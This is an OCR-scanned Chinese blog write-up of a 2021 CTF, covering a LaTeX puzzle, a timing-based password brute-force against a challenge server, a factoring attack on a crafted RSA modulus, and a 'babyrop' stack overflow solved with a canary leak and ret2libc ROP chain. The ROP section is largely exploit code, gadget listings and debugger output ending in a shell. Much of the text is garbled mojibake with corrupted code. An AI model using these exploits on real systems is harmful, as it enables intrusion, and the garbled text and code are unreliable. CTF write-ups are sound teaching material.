20211211-3 B CTF2021-CryptoJs [ &&PwnJj [ &5 4 WP

4XWi11 F 2021-12-13 13:47:57 K Fi 307 e
ARER, MEUHERRRE CERL: FE2% pwn
WO RSO EREAICE, B CC 4.0 BY-SA MU, #HERIEM LR CH s AR E .

A CHEE: https://blog.csdn.net/m0_49109277/article/details/121903603
KA

.sﬁ: 5 ERERFZHE

1RXE1ITH
BB

KA
Symbol

pAaV W rv_AaTe=E_M = «a k}

b)\a’Y{vw 7 AnAnTeR M~ . £

\flat\ \lambda\ \alpha\ \gamma\ \{\forall\ \uplus\ \nu\ \_\ \Lambda\ \alpha\ T\ \epsilon\ \Xi\ \_\ M\ \approx\ \triangleleft\ \nbar\}

B, KITAETHIRA

flag{fun_LaTeX Math}

from hashlib import md5
pl = b'fun_LaTeX Math'

print(f'flag{{{md5(pl).digest().hex()}}}")

flag{e1b217dc3b5e90b237b45e0a636e5a86}

Romeo’s Encrypting Machine
X
XEEFEEERINEH, BAREEKERS, WHER100MNTTEIFER, ®IkncE EFH 100sH i H

BB REETT, MENFENIETA TR GERHESN) , BFRARET, BARS RS T8RS SR
iR


https://blog.csdn.net/m0_49109277
https://blog.csdn.net/m0_49109277/category_11535034.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AF%2586%25E7%25A0%2581%25E5%25AD%25A6&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_49109277/article/details/121903603
https://blog.csdn.net/m0_49109277/category_11535034.html

g of request from (°127.8.0.1', 61423)

20, in process_request

in finish_reguest
elf)

TR MG R : BAEAMRR

G
127.0.0.1 9999
[~]Please input your password:

#G. 5~1s
|

FoAts (15 SRR 7 23R [B] — /™ False! FF4kSE1E/REIA

G
127.0.0.1 9999
[~]Please input your password:

#G.5~1r
False!
[~]Please input your password:

BEANE —AMER = 5 AR Z A

check = b"
for i in range(0x2000
check = self.aes.encrypt(padding(check|:-1] + str1[:i+1

A — > R BA7E i T i checkid 2 J& Bnid & T i check (i LTI HI7E 3R

if right_num > true_num
continue

else
right_num = true_num

Bl —Fh5e4 B A K9 S BBt R K7 B BX printable , F100sEFh#H, TREANKBRTHMT (BEZIT—REZE
THERERARR KD JHIR%SER, HRER —R—ICER B 6, EEAEMELRK, AR 22 LK



AR LEBREREARZ T, PHERAR —NMEHFRRES N SHEE, ERBUPERRE GHILT sendid % 2 J5 & A HEM
B2, SRFAI—KI False! HITFEL, BBt~ AMEBRERED , BZ¥E3UEE OFBETU—R101, FHBESL —IKS
N MEREELLEEFRT

#!/usr/bin/env python3

# coding: utf-8

from pwn import *

from tgdm import tgdm
from string import printable

context.log_level = 'debug’

class Solve():
def __init__(self):
self.sh = remote('123.57.132.168', 15906)
self.ru = lambda s: self.sh.recvuntil(s)
self sl = lambda s: self.sh.sendline(s)
self.rl = lambda: self.sh.recvline()
self.pwd = '#G.5~1"

def solve(self):
index_| =
index_r =
while 1:
for i in tgdm(list(printable[index_l:index_r])):
t = self.pwd +i
self.rl() # [~]Please input your password:
self sl(t.encode())
feedback = self-rl() # False!
if b'False!" in feedback:
continue
self.sh.close()
self.sh = remote('123.57.132.168', 15906)
index_| +=
index_r +=

if _name__ =='_main_ "
solution = Solve()
solution.solve()

BB FR R #G.5~1ss

flag{c7f37603-7ad2-4d52-8a56-7c92c74dff97}

5 EHE TG



#!/usr/bin/env python3

# coding: utf-8

from pwn import *

from tgdm import tgdm
from string import printable
import time

import sys

context.log_level = 'debug’
table = printable
length = len(printable)

sh =remote('127.0.0.1', 9999)
sh.close()

sl = lambda s: sh.sendline(s)
rl = lambda: sh.recvline()

pwd ="
t=pwd
index =0
i=0
tip = 1

start_time = time.time()
for _in range(8):

while 1:
sh = remote('127.0.0.1", 9999)
tip =1
try:

signal.alarm(105)
for i in tgdm(range(index, length)):
t = pwd + tableli]
rl()
sl(t.encode())
feedback = rl()
if b'False!" in feedback:
tip=0
continue
elif b'Success' in feedback:
pwd =t
tip=1
assert1==0
signal.alarm(0)
except:
sh.close()
if tip:
pwd =t
if len(pwd) == 8:
end_time = time.time()
print(f"plz do not waste my time\nyou should pay me: {end_time - start_time}s")
()
rl()
sys.exit(0)
index=0
break
else:
index =i
sh.close()
continue



TR, RARE AT ? REEMALHIRH

b'False!l\n

b*[~]Flease input your password:yn
| 88/100 [

[ ] Sent @x6 bytes:
b*#.5_\n
] Received Ox26 bytes:
b*False!\n
'[~]Please input your passward:\n
B9/100 [B1:35<00: -Bdit/s]
] Sent @x6 bytes:
b'#G.5"\n
] Received 0x26 bytes
‘Falsel\
lease input your password:\n
90,100 z H .04it/s]
] Sent @x6 bytes:
b'#G.5{\n
[ ] Received 0x26 bytes:
b*False!\n

b*[~]Please input your password:\n
541\— 91/100 [01:37<00:68, 1.03it/s]
[ ] Sent @x6 bytes:
b'#G6.5]\n
] Received 0x26 bytes
b*Falsel\n

b'[~]Please input your password:\n
o2 92/100 [81:38<00
] Sent @x6 bytes:
b'#G.5Hn
] Received 0x26 bytes:
b*False!\n
b

a3,/ 100 A1 ; 3900 ; § fmitsis]

93/100 [81:40<00:8 -08s/it]
.1 port 9999
[+] Opening connection to 127.8.0.1 on port 9999: Done
0% 8/7 [00:00<?, 7it/s]
L 1 Bareiued fivif hytes:
b'[~]Please input your password:\n
] Sent @x6 bytes:
b'#G.5~\n
& | @/7 [08:04<7, 7it/s]
Closed connection to 127.8.0.1 port 9999
Opening connection to 127.8.0.1 on port 9999: Done
] 0/10@ [08:00<?, ?it/s]
1 Received Ox1f bytes:
b'[~]Please input your password:\n
1 Sent @x7 bytes:
b*#G.5~0\n

| 88/108 [81:38<00:25, 1.26s/it]

ed Ox26 bytes:
> input your
| 817108 [81:39<00:23, 1.23s/it]

| B1/108 [B1:48<00:73, 1.23s/it]

| ©/19 [B0:08<?, ?it/s]

| 1/19 [@6:03<01:11, 3.99s/it]

2/19 [00:04<00:37, 2.20s/it]
it Ox6 bytes:
'
ed Ox26 bytes:

> input your password:in'

3/19 [B0:05<00:25, 1.61s/it]
passward:yn'

4/19 [80:06<00:20, 1.35s5/1t]

5/19 [80:07<00:17, 1.22s5/it]




BERE, WRARRIBEASET, EANBRSCEAM L BT ERREZE, ToikH 4 aixX A= B Xt 78 E 5 W 4% 68 /S 2
100sZ kA EE, BRENEZEERE (MRMERFIHEW T HBEEHEHWTF

hamburgerRSA

BEMRE, BOoRBIT, pMo#z

PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
n=PP*QQ

ZHIA R
https://4xwi11.github.io/posts/493b5ffc/#Crypto-babyrsa
EERATHE, EA RRERE T

B 5B A — LAk BT A 0 4 R A -

o 644 IpAIq Tt B4 2200, EAR19ML

o +HtHI206L 20 AHSRAG BIHI 45 RE 4 R+t H400r, ZA R3O

o N=pq, NEJHTXHLSET pHIRTYALR LAGHTRTYRL, Xl /N TFry— Ry b + 32k il i

o [FEN=pq, NEIEXAETpiI)EyRRLAGHIEYRL, xBE/NTFy—Ar BRI AL A+ B L

(RBEMER LA R FERDRIBIE HRMGER, BF X ROEERIEN, TRENMEFME, EURR—ERENIAZR

FreliX B n, AT LAAIENRIRT 1847 177269125756508652 i &pFlqiH e s AT, nfJ5 1801 742722231922451193 [F]HE,
Fr A BB 3~447, FiEitsagefIfactoriR BERKAE (RIS S BT 17AL A RAIT

part1 ='177269125756508652'
part2 ='742722231922451193'
for part_mid in range(1000):
ans = part1 + str(part_mid).rjust(3, '0") + part2
ans = factor(int(ans))
if len(ans) == 2 and ans[0][0].nbits() == 64:
print(ans)


https://4xwi11.github.io/posts/493b5ffc/#Crypto-babyrsa

'177269125756508652 "

'742722231922451193"
part_mid ( ):
ans = partl + (part_mid).rjust( , mjl + part2
ans = factor( ELERD]

(a ans[ ][ ].nbits() ==

9788542938580474429 * 1810985831791386/7117

KEEZH 2 EfEL R, &G ~exp

from Crypto.Util.number import *
from gmpy2 import invert

n =1772691257565086525462423260651384029715427511124233260338808628688221642344522807381702455897984740330474609
20552550018968571267978283756742722231922451193

¢ =4771802260132454339907839595709508375320163133280894940692709158904483755646930080772848403558144796095460354
0348152501053100067139486887367207461593404096

p = 9788542938580474429

g =18109858317913867117

PP = int(str(p) + str(p) + str(q) + str(q))

QQ = int(str(q) + str(q) + str(p) + str(p))

print(long_to_bytes(pow(c, invert(0x10001, n-PP-QQ+1), PP*QQ)))

flag{f8d8bfa5-6¢7f-14cb-908b-abc1e96946¢6}

Pt CAA] a6 3R /AR
babyrop

B, EEBRLZAER, XK

o (14 gdb.attach

o TEAERUANERIER

B H ik
A4t Tlibc-2.27.s0

T 8UE



% 104~ @rse- @  THewe- TPy [Fipse- [F Pse— B e T
1 |:int __cdecl main{int argc, const char **argv, const char **envp)

3 dint i3 ¢/ [rsp+8h] [rbp-38h]

4 char *pwd; /f [rsp+8h] [rbp-28h] BYREF

5 char name[24]; /f [rsp+l@h] [rbp-28h] BYREF
6 unsipgned _ inté4 v7; // [rsp+2Bh] [rbp-8Bh]
7
8

v7 = _ readfsqword(8x28u);
3 setvbuf(stdin, 8LL, 2, 8LL);
18 setvbuf( bss start, 8LL, 2, BLL);

12 for [ 1 =8; 1 <= 24; ++1 )

{
14 if ( read(e, &name[il, 1ull) !'= 1 || name[i] == "\n® )
15 {
16 name[i] = @;
17 break;
18 }
19 }

21 printf{"Hello, ¥s, welcome to this challengelin™, name}j
22  puts("Please input the passwd to unlock this challenge");

23 __is0c99_scanf{"¥11d", &pud);

24 if { pwd == aPassward )

25

26 puts{"ﬂl{!\nl\luu, you can input your message"],‘
27 wvulng);

28 puts{“we will reply soon");

29 3

JOPR0ToE main:l (4007584

PRI B T pie T

s ~/4xc/M/babyrop
checksec babyrop

] "/home/will/4xchallenges/MT2021/babyrop/babyrop’
Arch: amd64-64-1ittle

RELRO:
Stack:
NX:
PIE:

BB BB system Hl /bin/sh , FBEE ret2libe , BT HMIRIbCHIZELE R IR system F /bin/sh , BiZARFZTE (2

vul RECE ARG, 8 48Ry BR B #uhk, I H AT AR A SRR Bimainf AR il (555 4 Ui

T pse- T pse- T pse- [ pse- [ pse-
1 unsigned __int64 vuln()

2 {

char buf[24]; // [rsp+6h] [rbp-26h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 =  readfsgword(©x28u);
|read(@, buf, 48uLL);
return _ readfsqword(@x28u) ~ v2;

}

Loo~ShhupbWw



ID& View-RIP Pseudocode—4 8 Pseudocode—R 18k General registers

1 unsigned __int64 vuln() RAX 4B802BBA22D82E0Q

24 REX 6006000006000080

3 char buf[24]; // [rsp+6h] [rbp-2@h] BYREF RCX©0807F638A59B224 % libc 2.27.s0:  write+ld

4  unsigned _ inte4 v2; // [rsp+18h] [rbp-8h] RDX 00007F638A8788C0 & debugh02: T0_stdfile 1 lock

5 RSIBBPB7F638BAS77TE3 % libc_2.27.s0:_I0_2_1_stdout_+83

6 v2 = _ readfsqword(@x28u); RDI 6000000000000001

7 read(®, bui, 48uLL); RBP 000@7FFCF39612B0 W [stack]:00007FFCF39612B0

8 return __readfsqword(®x28u) ~ vZ; RSP 000@7FFCF3961290 & [stack]:00007FFCF3961290

9} RIP 000000000840072C % vuln+15
RS 0O0BOOADOBAODO23 L
RO GOOBERADOBABDORA
(D] stack wiew
@0OB7FFCF3961290 = buf
@POB7FFCF3961298
@POBTFFCF39612A0 _0POBYFFCF39612F0  [stack]:000@7FFCF39612F0
00007FFCF395612A8 canary

00007FFCF3961280 0000 RI2E0  [stack]:B@BA7FFCF39612F0
B0AB7FFCF3961288 main+122
00007FFCF39612C0  G0POGO100000001 ret addr
00000717 walme? (400717) 00007FFCF39612C3 @00BEAARO4BA9AE .rodata:aPassword
00007FFCF3961200 61 LOAD: 200051
3 Hex View-1 O & x|00007FFCF3961208 0000000000400630 _start
1000000000400740 BC FE FF FF 90 48 8B 45 F8 L H.E.dH3.%(. 00007FFCF39612E0 @OA7FFCF30613D0 [stack]:0@007FFCF3961300
1060000e00400756 RN 74 05 E8 87 FE FF FF C9 (3 55 48 89 E5 48 .. . [ BoieTlFROm=RiblEs (e ey ) .
1000600000400760 83 EC 30 64 48 8B 04 25 28 00 00 00 48 89 45 F8 FEIEITRIZRER)  CTIsrsri ey Ikl e dndE .
0000000G0400776 31 CO 43 2B 85 A7 0T 28 00 B 00 00 00 08 BA 02 00007FFCF39612F8  @AB7F63BAJACBF7 libc_2.27.s0:_Llibc_start_main+E7
1000000000400780 0@ 00 00 BE 00 00 00 00 48 89 C7 E8 80 FE FF FF ........H....... LOCIAREEREERD CLotaliniiot il
10800EOARAE07I0 48 BB 05 79 08 20 80 BS B0 BO 0O 0O BA 02 00 08 H..y.- ... ... 00007FFCF3961368 @@PB7FFCF39613D8 [stack]:@@@@7FFCF3961308
J0000750 0000000000400750: wvuln+39 UNENOWN 00007FFCF39612B8: [stack]:00007FFCF39612B8 (Synchronized with RS3P)

T] 68 A 219 JL4~gadget

E) 11 Bew~/4xc/M/babyrop

ropper --f babyrop --search “"pop|ret"
Load gadgets from cache
loading... 100%
removing double gadgets... 100%
Searching for gadgets: pop|ret

File: babyrop

: riz
ri3;
risg
SLF
rbp
rbp
rbp;
rbp
rdi

ris
rid
ris

pop ri4; pop ri15; ret
pop ri5; ret;
ret

pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop

pop
pop

pop

mov

pop

pop
ret

ret
rsi; pop

rsp; pop
0x2009

0x2275
0x8d48

edi,
riz
rig

0x601010; jmp rax

pop ri3; pop ri4; pop ris
pop ri5; ret

ret

ret
pop rid; pop ri5; ret

ris
ri3

it 78 18 B,
1. #tdscanary
2. MR H Bk BT AT mainii 2
_. 3. fEname E#JiEROPSEHL puts(read_got)
A B H Bk FE Blname /T ROP &

5. B /8 Blread FL S Mk 5 HH libc Rk b I %tk tH k% 37 A AT mainig 41

_. 6. fEname E#JiEROP LI system("/bin/sh")



_ 7. Hili H Bk # Blname T ROP&E
1. #it ¥ canary
XA, BTSN R, RS H MEA LA AT 0A RER, B—DFRHREG

for (i=0;i<=24; ++i)
{
if (read(0, &hameli], 1uLL) !=1 || name[i] =="\n")
{
namelil = 0;
break;

FIDAEFEE) 1 B4R 25 5 i B canarysh Z BRE24 K iname 2 J&

[ G & ~/4xc/M/babyrop
./linux_server64
IDA Linux 64-bit remote debug server(ST)
Listening on 0.0.0.0:23946...
2021-12-12 19:41:53 [1] Accepting connec

Looking for GNU DWARF file at "/usr/lib/
bug"... no.

What your name?
AAAAAAAAAAAAAAAABBBEBBBB1

Debug View (%] & Structures E Enuns

@ IDA View-RIP @ Psaudocoda—i [ x] 0 General registers
1 int _ cdecl main(int argc, const char **argv, const char **envp) RAX E0OE0RERODE0DAL
2/ REX BOREEREEREERARE L
3 int i; // [rsp+8h] [rbp-3@h] RCX @AG@FFDCB4E18151 & libc_2.27.so:__ read+l1l
4 char *pwd; // [rsp+8h] [rbp-28h] BYREF RDX 00007FFDFSHEAA28 & [stack]:@@BO7FFDFSEEAA2O
5 char name[24]; // [rsp+1@h] [rbp-2eh] BYREF RST @80O7FFDFS6EAA2D & [stack]:@@EA7FFDFSEEAAL
6 unsigned __int64 v7; // [rsp+28h] [rbp-8h] RD1 6000000000000008
7 RBP @8@@7FFOFSAEAAA W [stack]:@BEATFFDFSEEAALD
8 w7 = _ readfsqword(@x28u); RSP 8@0O7FFDFSGEAALG W [stack]:@@RATFFDFSEEAALD
9 setvbuf(stdin, eLL, 2, OLL); RIP G00RE0RRBO40080F & main: loc_40080E
1@ setvbuf(_bss_start, @LL, 2, OLL); RS ©000E0ABE00R01E

@11 RO B8A@7FDCB5308508 W debugii:B88e/FDLES 308500
12 for (1 = @; | <= 245 ++ ) nacAsAnnoonnoonAnnn ..
13 { T stack view
14 if ( read(e, &name[i], 1uLL) I= 1 || name[i] == "\n" ) 88807FFDFS6EAALG  PERARDA10AAREEAD
15 { PEEe7FFDFS6EAALE 0BE00E0006008000 .
16 name[i] = 8; 4141414141414141 — name BMiSHEIEF I

©000414141414141

17 break; a3 [stack]:B0887FFDFS6EABZE
18 } 630B7A4520230300 | e CaNary
19 } __libc_csu_init

B0B07FDCBADZIBF?  1libc_2.27.s0:_ libc_start_main+E7
Lelalbelelsbalu fela e leTa e N g

QO0O7FFDFS6EAB28 [stack]:0@@07FFDF56EABZE
BB000R0106008008

BE00000000400758 main

Lalals el lela 1o 0

9587500867E1481C

VE000EN0RA4RRE30 _start

87FFDF5 38 OOBO7FFDFS6EAB2@ [stack]:00007FFDFS6EAB20

00000758 main:12 (4007SE)

¢
(

¢

¢

(

¢

&

.

[Z) Hex View-1 0o & x|@
BPEDEEEAREIDETAR BC FE FF FF OB A8 8B 45 FB8 B
poapecseeesce7se [N 74 @5 E8 B7 FE FF FF C9 C3 55 48 89 ES5 48 )
100760 83 EC 30 64 48 BB 64 25 28 @0 0@ 0@ 48 89 45 F8 ;
0770 31 (0 48 8B @5 A7 @8 20 0O BY 00 00 00 @@ BA 02 )
0780 ©0 B0 0O BE 0@ 60 00 @@ 48 89 C7 ES BO FE FF FF ;
0799 48 8B B5 79 @8 20 00 BY 00 00 00 00 BA 02 00 00 |

00000750 0000000000400750: vuln+3S UNENOWN 00007 FFDFSEEARL1D: [stack] :00007FFDFSEEARLD (Synchronized with RSP)

[ Output

2. Bk Bk B BT AT maink

A4 libc-2.27.s0 BI—%8 (1 bin, F—YIR[EIER B F] 0x40075C , 5 RN IR EF 0x400758 , 7] LAZRJLiE



- B Trzac I Pear Ersa- Erse- FErae- Eraz-— Flrza-
xt: 6000000000408 758 var_8 = qword ptr -8
xt:000000000400758
xt:0000000008408758 ; _ unwind {
xt:0000000000408758 push rbp

xt: 0000000006 mov rbp, rsp|

xt: 000000000010075F sub rsp, 3eh

xt : 0PE00000004100763 mov rax, fs:28h

xt: 000000000040076C mov [rbp+var_8], rax

xt: 800006800408770 xor eax, eax
xt:80666068000400772 maow rax, cs:stdin@@GLIBC_2_2 5
¥t : 8880600600408779 maov ecx, 8 in

xt: 000600060840077E mov edx, 2 3 modes

3. Hi& ROPs: 3 puts(read_got)

BANL I FHF /LS BA A1 UiHI, read HIFH send , XELEREL N FRFR254N F4F
4. 1% Bk Bl name$t /T ROPEE

R, ZEEARALN, EHE

fEnametiEROP 2 JG, BATH & BEHE Bl #iht B)iX EEPATRIE, TRPEXET A, WHERASEY, KBS

i

54 (pop_rdi_ret) + pB4(elf.got["read”]) + p64(puts_addr) +

wn", show me pwd)

24 + pbd{canary) + pbd{@]

HOPHATEE vul B ret

» 0x40075a <vuln+67> ret < ; main+290>

HFHEE T, RIUERT, vl REZR main Z)5EERIMEERIROP RF16NFN, ZEHAIZATHIT lpop 5 7725 1
gadget pop r14; pop r15; ret , BtAT LASKR B BRATTHI name



stack 24
:0000| rsp 0x7ffdad439f38

:0000 |
o

:0018
:0020
:0028
:0030
:0038
:0040
:0048

dword ptr

:0050 |
:0058
:0060
:0068
:0070

0x7ffd9d439f

0x7ffd9d439f48
0x7ffd9d439f50
0x7ffd9d439f58
0x7ffd9d439f60
0x7T1d9d439T68
0x7ffdod439f70
0x7ffd9d439f78
0x7ffdod439f80
0x7ffd9d439f88
0x7ffdod439f90
0x7ffd9d439f98
0x7ffd9d439fa0
0x7ffd9d439fas
0x7ffdod439fho
0x7ffd9d439fh8
0x7ffd9d439fco
0x7ffd9d439fc8
0x7ffd9d439fdo
0x7ffd9d439fd8
0x7ffd9d439fe0
0x7ffd9d439fes
0x7ffdod439ffo

rsi rsp

rbp

0x100000019

[rip +

+— lea rdi. Irin 4+ 0x1581

0x400all /* 'password' */
<« pop rdi
0x600fd8 (_GLOBAL_OFFSET_TABLE_+48) —»
<« call 0x4005d0

0x62a87deb06aa7831
0x100000019

<« jo 0x400a1l /* 'password' */
0x4141414141414141 ('AAAAAAAA')
0x4141414141414141 ('AAAAAAAA")
0x4242424242424242 ('BBBBBBBB')
0x62a87de606aa7831

<« _jo

« lea rax, [rip + 0x2e0891]

<« push ri5

<= mov edi, eax
0x1
0x7ffd9d43a088 —» 0x7Tfd9d43c267 «— './babyrop’
0x100008000

«= push rbp
0x0
0xe8bc41831d376778
«— XOr

0x7ffd9d43a080 «— 0x1
0x0

ebp, ebp

0x6161616161616161 ('aaaaaaaa')

Oxcleae87af5a4300
Ox0

0x100000019

rdi
0x600fd8 (_GLOBAL OFFSET TABLE_+48) —»

<+ call
Oxcleae8/7at5a4300
Ox100000019
<+ jo 1€ 1 /* 'password' */
0x6161616161616161 ('aaaaaaaa')

R AFREINE PN

5. ih S libcEE ik Itk di th Bk ¥ B 3 P47 maini £

THEEN R, EXOEWIEGF TR read RS MROPEE, #il—TElEF T, LA W7 AlRE

6447 Flibcu ik FF Sk R 2 7 , 2B KIER R \7f

2 Ja IEn B SCRT i Bk 2 0x40075B

6. 115 ROPs: 3 system("/bin/sh")

dddd

7. B2 88 Hi Bk ¥ Bl nameh /7 ROPEE

AL

SEE exp

from pwn import *

context.arch ="amd64"

# context.log _level = 'debug’

io = process("./babyrop"”



elf = ELF("babyrop")
libc = ELF("libc-2.27.s0")
# io = remote("123.56.122.14", 24091)

ru = lambda s : io.recvuntil(s)

sl = lambda s : io.sendline(s)

sd = lambda s : io.send(s)

rv = lambda s : io.recv(s)

sa = lambdar, s : io.sendlineafter(r, s)
rl = lambda: io.recvline()

show_me_pwd = b"4196782"
main1_addr = 0x40075C
main2_addr = 0x40075B
puts_addr = 0x40086E
pop_rdi_ret = 0x400913
pop_r14_r15_ret = 0x400910

# 1. leak canary

payload1 =b'A" * 16 + b'B' * 8 + b'1"
sd(payload1)

# gdb.attach(io)

# pause()

ru(b'B' * 8)
canary = u64(rv(8))- 0x31

success("canary ====>" + hex(canary))
sa(b" unlock this challenge\n", show_me_pwd)
# 2. ret2 main_mov _rbp_rsp

payload2 = b'A' * 24 + p64(canary) + p64(0) + p64(main1_addr)
# gdb.attach(io)

# pause()

sd(payload?2)

# 3. start from beginning & puts(read)

payload3 = p64(pop_rdi_ret) + p64(elf.got["read"]) + p64(puts_addr) + b'1’
# gdb.attach(io)

# pause()

sd(payload3)

sa(b" unlock this challenge\n", show_me_pwd)

# 4. ret2 name

payload4 = b'A" * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
# gdb.attach(io)

# pause()

sd(payload4)

# 5. leak libc_base & ret2 main_push_ebp

read_addr = u64(ru(b"\x7')[-6:] ljust(8, b"\x00"))

libc_base = read_addr - libc.sym["read"|

system_addr = libc_base + libc.sym|["system"]

bin_sh_addr = libc_base + nexi(libc.search('/bin/sh\x00".encode()))



success("libc_base ===>" + hex(libc_base))
success("system addr ===>" + hex(system_addr))
success("bin_sh_addr ===>"+ hex(bin_sh_addr))

payload5 = b'A" * 24 + p64(canary) + p64(0) + p64(main2_addr)
sd(payloadb)

# 6. start from beginning & system('/bin/sh")

payload6 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + b'1"
sd(payload6)

sa(b" unlock this challenge\n", show_me_pwd)

# 7. ret2 name & get shell

payload7 = b'A' * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
sd(payload?)

io.interactive()

B ~/4%c/M/babyrop
python3 exp.py
[+] Starting local process './babyrop': pid 7896
[*] '/home/will/4xchallenges/MT2021/babyrop/babyrop’
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
' /home /will/4xchallenges/MT2021/babyrop/libc-2.27.50"
Arch: amd64-64-1little
RELRO: i ELF
Stack:
NX:
PIE:
canary == 0x5e4b407f66d11c00
libc_base 0x7fedc748f000
system_addr 0x7fedc74de550
bin_sh_addr ===> @x7fedc7642ela
1 Switching to interactive mode

, you can input your message

uid=1000(will) gid=1000(will) £ =1000(will),4(adm),24{cdrom
n),126(sambashare)

X B

WH

N/SOMEONE TELLS ME
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